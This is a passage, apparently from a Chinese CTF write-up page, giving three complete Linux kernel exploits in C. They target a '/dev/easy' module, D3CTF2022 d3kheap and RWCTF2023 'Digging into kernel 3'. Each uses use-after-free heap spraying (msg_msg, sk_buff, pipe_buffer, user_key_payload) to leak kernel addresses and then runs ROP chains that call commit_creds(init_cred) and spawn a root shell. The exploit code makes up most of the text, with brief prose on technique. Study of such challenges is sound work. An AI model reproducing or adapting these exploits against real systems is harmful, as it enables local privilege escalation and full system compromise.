#include<unistd.h>
#include<signal.h>
#include<sched.h> 
#include <sys/ioctl.h>
#include<stdint.h>


#pragma pack(16)
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define SPARY_COUNT 8

size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t init_cred=0;

void save_status();
void errExit(char * msg);
void getshell(void);

int fd;




int main(void){
   save_status();
   signal(SIGSEGV,getshell);
   BLUE;puts("[*]start");CLOSE;

   fd = open("/dev/easy\0",2);
    if(fd < 0){
        errExit("open dev");
    }

    ioctl(fd,0,1024);
    ioctl(fd,1);
    puts("spary pipe");
    int pipe_fd[SPARY_COUNT][2];
    for (int i = 0; i < SPARY_COUNT; i++)
    {
        pipe(pipe_fd[i]);
        write(pipe_fd[i][1], "1", 1);
    }

    char buf[1024]={0};
    read(fd,buf,192);


    size_t pipe_buf_ops=*(size_t*)&buf[0x10];
    if(pipe_buf_ops==0){
        errExit("leak pipe ops");
    }
    vmlinux_base=pipe_buf_ops-0xa33200;

    printf("[*] %s -> 0x%llx \n","pipe_buf_ops",pipe_buf_ops);
    printf("[*] %s -> 0x%llx \n","base",vmlinux_base);

    commit_creds=vmlinux_base+0x000ac050;
    init_cred=vmlinux_base+0x00e5a140;

    size_t offset=vmlinux_base-raw_vmlinux_base;
    size_t t=0xffffffff8133c5af+offset;

    printf("[*] %s -> 0x%llx \n","offset",offset);

    int idx=0;
    size_t make_rop[]={
        0,
        0xffffffff8103f872+offset,//rdi ret
        buf+0x18,
        0,
        0,
        0xffffffff8133c5af+offset,//push rsi pop rsp pop rbp ret
        0xffffffff81048955+offset,//add rsp 0x20,ret
        init_cred,commit_creds,
        0xffffffff81065354+offset,//swapgs pop
        0,
        0xffffffff8118453f+offset,//iretq
        getshell,
        user_cs,user_rflags,user_sp,user_ss
    };

    memcpy(buf,make_rop,sizeof(make_rop));

    write(fd,buf,500);

    for (size_t i = 0; i < SPARY_COUNT; i++)
    {
        close(pipe_fd[i][1]);
        close(pipe_fd[i][0]);
    }

   BLUE;puts("[*]end");CLOSE;
   return 0;
}


void save_status(){
   __asm__("mov user_cs,cs;"
           "pushf;" //push eflags
           "pop user_rflags;"
           "mov user_sp,rsp;"
           "mov user_ss,ss;"
          );
}

void getshell(void)
{   
    BLUE;printf("[*]Successful");CLOSE;
    system("/bin/sh");
}

void errExit(char * msg){
   RED;printf("[X] Error : %s !",msg);CLOSE;
   exit(-1);
}

D3CTF2022_d3kheap

CVE-2021-22555 解法,堆喷 msg_msgsk_buff

baby heap in kernel space, just sign me in plz :)

Here are some kernel config options that you may need

CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_SLUB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_HARDENED_USERCOPY=y

给了保护提示,基本保护全开

使用了一个旋转锁,只实现两个功能,申请kmalloc-1kobject,然后释放的功能,有uaf,read、write没实现

ref_count初始值为1所以可以构造double free

因为没有read\write来泄露,需要使用辅助块来进行信息泄露。仅仅使用一次的uaf漏洞,这个uaf object需要完成泄露堆地址、泄露内核基地址、劫持rip,,申请的是kmalloc-1k劫,持rip可以用pipe_bufferpipe_buffer也可以泄露基地址,但是需要先泄露堆地址(有smep)才可进行下一步。

泄露堆地址

可以使用msg_msg来进行辅助泄露信息,但是堆喷上msg_msg的时候,无法直接泄露对地址,还有一次uaf的机会,再次喷上sk_buff

这样两个方法都可以对堆块进行更改操作,篡改msg->mts,就可以完成越界读,越界读取下一个msg_msg就有堆地址。

泄露内核基地址

msg_msg因为前面头带了一个header,不太好控制前面的信息,而篡改pipe_buffer需要控制前面的字节,sk_buff是尾带header,使用sk_buff能更好的控制pipe_buffer,所以先还原msg_msg之后释放,然后喷上pipe_buffer,利用sk_buff的通信泄露出来内核基地址。

劫持rip

泄露基地址的时候已经有pipe_buffersk_buff占用同一个object,再次利用sk_buff写入篡改pipe_bufferops劫持

exp
#define _GNU_SOURCE 
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#include <sched.h>
#include<stdint.h>
#include<sys/socket.h>
#include<sys/msg.h>
#include<sys/ipc.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char


size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode=0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t init_cred=0;
size_t __ksymtab_commit_creds=0,__ksymtab_prepare_kernel_cred=0;
void save_status();
size_t find_symbols();
void _showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
size_t cvegetbase();
void bind_cpu(int core);

int dev_fd;

#define ASSIST_MSG_SIZE 96
#define MAIN_MSG_SIZE 1024
#define SOCKET_COUNT 16
#define SK_BUFF_COUNT 64
#define MSG_QUEUE_COUNT 1024
#define  SKB_SHARED_INFO_SIZE 320
#define PIPE_COUNT 128
#define RAW_PIPE_BUF_OPS 0xffffffff8203fe40
#define MSG_TAG (*(size_t*)"mowen123")
#define ASSIST_MSG_TAG (*(size_t*)"mowenass")
#define MAIN_MSG_TAG (*(size_t*)"mowenmai")
#define SKBUFF_TAG (*(size_t*)"mowenskf")
struct list_head
{
    uint64_t    next;
    uint64_t    prev;
};

struct msg_msg
{
    struct list_head m_list;
    uint64_t    m_type;
    uint64_t    m_ts;
    uint64_t    next;
    uint64_t    security;
};

struct msg_msgseg
{
    uint64_t    next;
};

struct 
{
   long type;
    char mtext[ASSIST_MSG_SIZE-sizeof(struct msg_msg)];
}assist_msg;

struct 
{
   long type;
    char mtext[MAIN_MSG_SIZE-sizeof(struct msg_msg)];
}main_msg;

struct
{
    long type;
    char mtext[0x2000];
}oob_msg;


void add(){
    ioctl(dev_fd,0x1234);
}
void del(){
    ioctl(dev_fd,0xDEAD);
}
int  getmsqid(){
    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
int write_msg(int msqid,void* msgp,size_t msgsz,long msgtype){
    *(long*)msgp=msgtype;
    return msgsnd(msqid,msgp,msgsz-sizeof(long),0);
}
int peek_msg(int msqid,void* msgp,size_t msgsz,long msgtype){
    return msgrcv(msqid,msgp,msgsz,msgtype,IPC_NOWAIT|MSG_COPY|MSG_NOERROR);
}
int read_msg(int msqid,void* msgp,size_t msgsz,long msgtype){
    return msgrcv(msqid,msgp,msgsz,msgtype,0);
}
int spray_skbuff(int (*sk_fd)[2],void* buf,size_t size){
    for (size_t i = 0; i < SOCKET_COUNT; i++)
    {
        for (size_t j = 0; j < SK_BUFF_COUNT; j++)
        {
            if(write(sk_fd[i][0],buf,size)<0)return -1;
        } 

    }
    return 0;
}
int free_skbuff(int sk_fd[][2],void* buf,size_t size){
    for (size_t i = 0; i < SOCKET_COUNT; i++)
    {
        for (size_t j = 0; j < SK_BUFF_COUNT; j++)
        {
            if(read(sk_fd[i][1],buf,size)<0)return -1;
        } 

    }
    return 0;
}
const char* FileAttack="/dev/d3kheap\0";
int sk_fd[SOCKET_COUNT][2];
int msqid[MSG_QUEUE_COUNT];
char fake_sk_buff_data[MAIN_MSG_SIZE-SKB_SHARED_INFO_SIZE];
int pipe_fd[PIPE_COUNT][2];
int main(void){
   save_status();
   BLUE;printf("[*]start");CLOSE;
   dev_fd = open(FileAttack,2);
    if(dev_fd < 0){
        errExit(FileAttack);
    }
    bind_cpu(0);

    puts("init socket");
    for (size_t i = 0; i <  SOCKET_COUNT; i++)
    {
       if(socketpair(AF_UNIX,SOCK_STREAM,0,sk_fd[i])<0){
           errExit("socketpair init");
       }
    }

    puts("init msg_queue");
    for (size_t i = 0; i < MSG_QUEUE_COUNT; i++)
    {
        if((msqid[i]=getmsqid())<0)errExit("init msg_queue");
    }

    puts("spray msgmsg to construction uaf object");

    memset(&assist_msg,0,sizeof(assist_msg));
    memset(&main_msg,0,sizeof(main_msg));

    add();
    del();

    for (size_t i = 0; i < MSG_QUEUE_COUNT; i++)
    {
        *(size_t*)&assist_msg.mtext=MSG_TAG;
        *((size_t*)&assist_msg.mtext[8])=i;
        if(write_msg(msqid[i],&assist_msg,sizeof(assist_msg),ASSIST_MSG_TAG)<0){
            errExit("spary assist_msg");
        }
        *(size_t*)&main_msg.mtext=MSG_TAG;
       *((size_t*)&main_msg.mtext[8])=i;
        if(write_msg(msqid[i],&main_msg,sizeof(main_msg),MAIN_MSG_TAG)<0){
            errExit("spary main_msg");
        }    
    }

    puts("spray msgmsg end ,try to found victim object");

    del();
    struct msg_msg * tmp=(struct msg_msg *)&fake_sk_buff_data;
    tmp->m_list.next=SKBUFF_TAG;
    tmp->m_list.prev=SKBUFF_TAG;
    tmp->m_ts=MAIN_MSG_SIZE;
    tmp->m_type=SKBUFF_TAG;
    tmp->next=0;
    tmp->security=0;
    if(spray_skbuff(sk_fd,fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("spray_skbuff");

    int victim_fd=-1;

    for (size_t i = 0; i < MSG_QUEUE_COUNT; i++)
    {
        if(peek_msg(msqid[i],&main_msg,sizeof(main_msg),1)<0){
            victim_fd=i;
            GREEN; printf("found victim object -> %d",i); CLOSE;
            break;
        }
    }
    if(victim_fd==-1)errExit("not found victim_fd");

    puts("use uaf object to oob read");

    if(free_skbuff(sk_fd,fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("spray_skbuff");

    tmp=(struct msg_msg *)&fake_sk_buff_data;
    tmp->m_list.next=SKBUFF_TAG;
    tmp->m_list.prev=SKBUFF_TAG;
    tmp->m_ts=1024*2;
    tmp->m_type=SKBUFF_TAG;
    tmp->next=0;
    tmp->security=0;
    if(spray_skbuff(sk_fd,fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("spray_skbuff");


    if(peek_msg(msqid[victim_fd],&oob_msg,sizeof(oob_msg),1)<0)errExit("oob read");



    struct msg_msg* msg=(struct msg_msg*)&oob_msg.mtext[MAIN_MSG_SIZE-sizeof(struct msg_msg)];
    size_t oob_msg_next=msg->m_list.next;
    size_t oob_msg_prev=msg->m_list.prev;

    if(msg->m_type!=MAIN_MSG_TAG)errExit("oob read failed");

    showAddr(oob_msg_next);
    showAddr(oob_msg_prev);

    puts("use prev_ptr to find uaf object addr");

    /*
       uaf_object ->         assist_msg     (<-prev)    leak_addr main_msg
    */

   if(free_skbuff(sk_fd,fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("spray_skbuff");

    tmp=(struct msg_msg *)&fake_sk_buff_data;
    tmp->m_list.next=*(size_t*)"testmomo";
    tmp->m_list.prev=*(size_t*)"testmomo";
    tmp->m_ts=0x1500;   //ts要大于0x1000-sizeof(msg_msg) 才会触发读next
    tmp->m_type=SKBUFF_TAG;
    tmp->next=oob_msg_prev-0x8;
    tmp->security=0;
    if(spray_skbuff(sk_fd,fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("spray_skbuff");


    if(peek_msg(msqid[victim_fd],&oob_msg,sizeof(oob_msg),1)<0)errExit("oob read2");


    msg=(struct msg_msg*)&oob_msg.mtext[0x1000-sizeof(struct msg_msg)];

    if(msg->m_type!=ASSIST_MSG_TAG)errExit("oob read2");
    size_t uaf_object_addr=msg->m_list.next-0x400;
    showAddr(uaf_object_addr);



    puts("Replace pipe_buffer with msg_msg to leak vmlinux base addr");
    puts("first fixed victim msg_msg");

    if(free_skbuff(sk_fd,fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("spray_skbuff");
    tmp=(struct msg_msg *)&fake_sk_buff_data;
    tmp->m_list.next=uaf_object_addr+0x400;
    tmp->m_list.prev=uaf_object_addr+0x400;
    tmp->m_ts=MAIN_MSG_SIZE-sizeof(struct msg_msg);  
    tmp->m_type=*(size_t*)"mowenfix";
    tmp->next=0;
    tmp->security=0;

    if(spray_skbuff(sk_fd,fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("spray_skbuff");

    if(read_msg(msqid[victim_fd],&main_msg,sizeof(main_msg),*(size_t*)"mowenfix")<0)
        errExit("fixed victim msg_msg");

    puts("spray pipe_buffer to leak vmlinux addr");

    for (size_t i = 0; i < PIPE_COUNT; i++)
    {
        pipe(pipe_fd[i]);
        write(pipe_fd[i][1],"mowen777",8);
    }
    size_t vmlinux_offset=-1;

    for (size_t i = 0; i < SOCKET_COUNT; i++)
    {
       for (size_t j = 0; j < SK_BUFF_COUNT; j++)
       {
            if(read(sk_fd[i][1],&fake_sk_buff_data,sizeof(fake_sk_buff_data))<0)errExit("read sk_buff line:305");
            size_t pipe_ops=*(size_t*)&fake_sk_buff_data[0x10];
            if(pipe_ops>raw_vmlinux_base){
                GREEN;printf("[+] found ops adddr");CLOSE;
                vmlinux_offset= pipe_ops-RAW_PIPE_BUF_OPS;
                showAddr(pipe_ops);
            }
       }
    }
    if(vmlinux_offset<0)errExit("failed leak vmlinux addr");

    vmlinux_base=raw_vmlinux_base+vmlinux_offset;
    swapgs_restore_regs_and_return_to_usermode=vmlinux_base+0x00c00ff0+0x16;
    init_cred=vmlinux_base+0x01c6d580;
    commit_creds=vmlinux_base+0x000d25c0;

    showAddr(vmlinux_offset);
    showAddr(vmlinux_base);
    size_t borad_rop= vmlinux_base + 0x2dbede;
    showAddr(borad_rop);
    size_t rop[]={
        MSG_TAG,
        MSG_TAG,
        uaf_object_addr+0x20,
        0,
        0xffffffff810938f0 + vmlinux_offset ,
        borad_rop,
        0xffffffff810938f0 + vmlinux_offset,
        init_cred,
        commit_creds,
        swapgs_restore_regs_and_return_to_usermode,0,0,
        getshell,
        user_cs,
        user_rflags,
        user_sp,
        user_ss
    };

    memcpy(fake_sk_buff_data,rop,sizeof(rop));
    spray_skbuff(sk_fd,&fake_sk_buff_data,sizeof(fake_sk_buff_data));


    for (size_t i = 0; i < PIPE_COUNT; i++)
    {
        close(pipe_fd[i][0]);
        close(pipe_fd[i][1]);
    }

   BLUE;puts("[*]end");CLOSE;
   return 0;
}
/*
    0xffffffff8aadbede: push   rsi
    0xffffffff8aadbedf: pop    rsp
    0xffffffff8aadbf2c 5b                  <NO_SYMBOL>   pop    rbx 
    0xffffffff8aadbf2d 415c                <NO_SYMBOL>   pop    r12 
    0xffffffff8aadbf2f 415d                <NO_SYMBOL>   pop    r13 
    0xffffffff8aadbf31 5d                  <NO_SYMBOL>   pop    rbp 
    0xffffffff8aadbf32 c3                  <NO_SYMBOL>   ret   

0xffffffff810938f0 : pop rdi ; ret
*/

void save_status(){
   __asm__("mov user_cs,cs;"
           "pushf;" //push eflags
           "pop user_rflags;"
           "mov user_sp,rsp;"
           "mov user_ss,ss;"
          );
}



void bind_cpu(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    BLUE;printf("[*] bind_cpu(%d)",core);CLOSE;
}
void getshell(void)
{   
    BLUE;printf("[*]Successful");CLOSE;
    system("/bin/sh");
}

void _showAddr(char*name,size_t data){
   GREEN;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
}
void errExit(char * msg){
   RED;printf("[X] Error : %s !",msg);CLOSE;
   exit(-1);
}

RWCTF2023 体验赛 - Digging into kernel 3

只有ioctl有交互实现,两个功能,申请和uaf,但是没有泄露的地方

使用内核内核密钥管理user_key泄露内核基地址和pipe_buffer泄露泄露堆地址,最后劫持pipe_buffer->operations控制rip

内核密钥管理

通过add_key系统调用添加

给定typedescription,来规定密钥的类型和描述,并以plen长度的payloadkeyring来实例化

这里的type只关注“user”

#include <sys/types.h>
#include <keyutils.h>

key_serial_t add_key(const char *type, const char *description,
                            const void *payload, size_t plen,
                            key_serial_t keyring);

主要申请的一个流程:

  1. 会先临时申请空间object1保存description、临时申请空间object2保存payload
  2. 申请空间object3保存description、申请空间object4保存payload
  3. 释放object1、object2,返回

利用payload的自定义长度来申请不同slab的,构造于不同结构体的重叠,然后利用read_key()泄露地址

payload会使用user_key_payload结构体存储,

struct user_key_payload {
    struct rcu_head rcu;        /* RCU destructor */
    unsigned short  datalen;    /* length of this data */
    char        data[] __aligned(__alignof__(u64)); /* actual data */
};

rcu_head结构体(0x18)如下,

struct callback_head {
    struct callback_head *next;
    void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

在密钥读取的时候调用key->type->read(key, buffer, buflen);本质就是调用user_read,这里返回用户使用memcpy赋值,长度不能超过upayload->datalen,但是可以利用uaf、溢出等手法对user_key_payload结构体的datalen进行篡改,篡改之后可以完成溢出读取

long user_read(const struct key *key, char *buffer, size_t buflen)
{
    const struct user_key_payload *upayload;
    long ret;

    upayload = user_key_payload_locked(key);
    ret = upayload->datalen;

    /* we can return the data as is */
    if (buffer && buflen > 0) {
        if (buflen > upayload->datalen)
            buflen = upayload->datalen;

        memcpy(buffer, upayload->data, buflen);
    }

    return ret;
}

溢出读取泄露基地址

在存储payload的时候会有一个header的结构体callback_head,在type为"user"的key下,如果当前payload被释放,会被赋值为user_free_payload_rcu(),所以可以在篡改的payload后释放user_key_payload,他们头指向.text地址,然后完成溢出读取就可泄露基地址。

pipe_inode_info->bufs为动态分配的结构体数组,可以配合user_key_payload完成重叠之后泄露堆地址,

pipe_buf_operations结构体,

当利用close()关闭管道的时候,就会调用pipe_release()最终调用到pipe_buffer->pipe_buf_operations->release()

void (release)(struct pipe_inode_info , struct pipe_buffer *);

第二个参数指向pipe_buffer,就是rsi ->pipe_buffer,在篡改ops为buffer 后然后在buffer上直接布局rop,并且配合rsi完成栈迁移。

myhead.h头文件

#ifndef MY_HEAD
#define MY_HEAD


#include <sys/syscall.h>


#define PIPE_INODE_SZ               192
#define PIPE_BUFFER_SZ              1024
#define KEY_SPEC_PROCESS_KINGRING   -2  /* - key ID for process-specific keyring */
#define KEYCTL_READ                 11  /* read a key or keyring's contents */
#define KEYCTL_REVOKE               3   /* revoke a key */
#define RAW_USER_FREE_PAYLOAD_RCU 0xffffffff813d8210
int key_alloc(char* description,void* payload,size_t plen){
    syscall(__NR_add_key,"user",description,payload,plen,KEY_SPEC_PROCESS_KINGRING);
}

int key_read(int keyid,void* buf,size_t len){
    syscall(__NR_keyctl,KEYCTL_READ,keyid,buf,len);
}

int key_revoke(int keyid){
    syscall(__NR_keyctl,KEYCTL_REVOKE,keyid,0,0,0);
}

#endif

exp.c

#define _GNU_SOURCE
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#include <sched.h>


#include"myhead.h"

#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char

#define SPARY_KEY_COUNT 40



size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode=0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t init_cred=0;
size_t __ksymtab_commit_creds=0,__ksymtab_prepare_kernel_cred=0;
void save_status();
size_t find_symbols();
void _showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
size_t cvegetbase();
void bind_cpu(int core);

int dev_fd;


typedef struct
{
   unsigned int idx,size;
   void* buf;
}MyHeap,*p_myheap;


void add(unsigned int id,unsigned int size,void* buf){
   MyHeap t={
     .idx=id,
     .buf=buf,
     .size=size
   };
   ioctl(dev_fd,0xDEADBEEF,&t);
}
void del(unsigned int id){
   MyHeap t={
      .idx=id,
   };
   ioctl(dev_fd,0xC0DECAFE,&t);
}
const char* FileAttack="/dev/rwctf\0";

int main(void){
   save_status();
   BLUE;puts("[*]start");CLOSE;
   dev_fd = open(FileAttack,2);
    if(dev_fd < 0){
        errExit(FileAttack);
    }
   bind_core(0);
   size_t* buf=malloc(sizeof(size_t)*0x4000);
   add(0,PIPE_INODE_SZ,buf);
   del(0);
   int key_fd[SPARY_KEY_COUNT]={0};
   char description[0x100];

   puts("SPARY KEY START");
   for (size_t i = 0; i < SPARY_KEY_COUNT; i++)
   {
      snprintf(description,0xff,"%s_%d","mowen",i);
      key_fd[i]=key_alloc(description,buf,PIPE_INODE_SZ-0x18);
      if(key_fd[i]<0){
         errExit("SPARY KEY");
      }
   }

   del(0);
   /*attack key header*/
   puts("attack key header");
   buf[0]=buf[1]=0;
   buf[2]=0x2000;
   for (size_t i = 0; i < (SPARY_KEY_COUNT*2); i++)
   {
      add(0,PIPE_INODE_SZ,buf);
   }
   puts("try to overflow read ");
   int flags=-1;
   for (size_t i = 0; i < SPARY_KEY_COUNT; i++)
   {
      if(key_read(key_fd[i],buf,0x4000)>PIPE_INODE_SZ){
         GREEN;printf("found victim key_id %d",i);CLOSE;
         flags=i;
      }else{
         key_revoke(key_fd[i]);
      }
   }

   if(flags==-1){
      errExit("not fount victim key_id");
   }
   puts("try leak kernel  addr");
   size_t base_offset=-1;
   for (size_t i = 0; i < 0x2000/8; i++)
   {
      if(buf[i]>raw_vmlinux_base && (buf[i]&0xfff)==(RAW_USER_FREE_PAYLOAD_RCU &0xfff) ){
         base_offset=buf[i]-RAW_USER_FREE_PAYLOAD_RCU;
         vmlinux_base=raw_vmlinux_base+base_offset;
         break;
      }
   }

   if(base_offset==-1){
      errExit("failed to leak kernel addr");
   }
   showAddr(base_offset);
   showAddr(vmlinux_base);


   puts("construct UAF to pipe_inode");

   add(0,PIPE_INODE_SZ,buf);
   add(1,PIPE_INODE_SZ,buf);

   del(1);
   del(0);
   /*0->1 */
   /*0 is tmp  1将为最终payload存放的地方*/
   int pipe_key_fd=key_alloc("mowen_pipe",buf,PIPE_INODE_SZ-0x18);
   del(1);//为pipe_inode准备空间
   add(0,PIPE_BUFFER_SZ,buf);//为pipe_buffer准备空间
   del(0);

   int pipe_fd[2];
   pipe(pipe_fd);


   key_read(pipe_key_fd,buf,0xffff);// user_key_payload->datalen 0xffff

   size_t pipe_buffer_addr=buf[16];
   showAddr(pipe_buffer_addr);


   commit_creds=vmlinux_base+0x00095c30;
   init_cred=vmlinux_base+0x01850580;
   swapgs_restore_regs_and_return_to_usermode=vmlinux_base+0x00e00ed0+0x31;
   int idx=0;
   size_t t=0xffffffff81250c9d+base_offset;
   showAddr(t); 
   buf[idx++] = *(size_t*) "mowen0";
   buf[idx++] = *(size_t*) "mowen1";
   buf[idx++]=pipe_buffer_addr+0x18;
   buf[idx++]=0xffffffff8106ab4d+base_offset;
   buf[idx++]=t;
   buf[idx++]=0xffffffff8106ab4d+base_offset;
   buf[idx++]=init_cred; 
   buf[idx++]=commit_creds; 
   buf[idx++]=swapgs_restore_regs_and_return_to_usermode; 
   buf[idx++] = *(size_t*) "mowen";
   buf[idx++] = *(size_t*) "mowen";
   buf[idx++]=getshell;
   buf[idx++]=user_cs; 
   buf[idx++]=user_rflags; 
   buf[idx++]=user_sp; 
   buf[idx++]=user_ss; 

   del(0);
   add(0, PIPE_BUFFER_SZ, buf);

   puts("payload victim end");


   close(pipe_fd[1]);
   close(pipe_fd[0]);

   BLUE;puts("[*]end");CLOSE;
   return 0;
}
/*
0xffffffff8106ab4d : pop rdi ; ret
0xffffffff81050c77 : push rsi ; ret
0xffffffff81053164 : pop r12 ; pop rbp ; pop rbx ; ret


0xffffffff81250c9d
 0xffffffffbac50c9d:    push   rsi
   0xffffffffbac50c9e:  pop    rsp
   0xffffffffbac50c9f:  cmp    rcx,rdx
   0xffffffffbac50ca2:  jb     0xffffffffbac50c85
   0xffffffffbac50ca4:  pop    rbx
   0xffffffffbac50ca5:  xor    eax,eax
   0xffffffffbac50ca7:  pop    rbp
   0xffffffffbac50ca8:  pop    r12
   0xffffffffbac50caa:  ret    

*/

void save_status(){
   __asm__("mov user_cs,cs;"
           "pushf;" //push eflags
           "pop user_rflags;"
           "mov user_sp,rsp;"
           "mov user_ss,ss;"
          );
}
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
   BLUE;printf("[*] Process binded to core %d", core);CLOSE;
}

void getshell(void)
{   
    BLUE;printf("[*]Successful");CLOSE;
    system("/bin/sh");
}

void _showAddr(char*name,size_t data){
   GREEN;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
}
void errExit(char * msg){
   RED;printf("[X] Error : %s !",msg);CLOSE;
   exit(-1);
}
0 条评论
某人
表情
可输入 255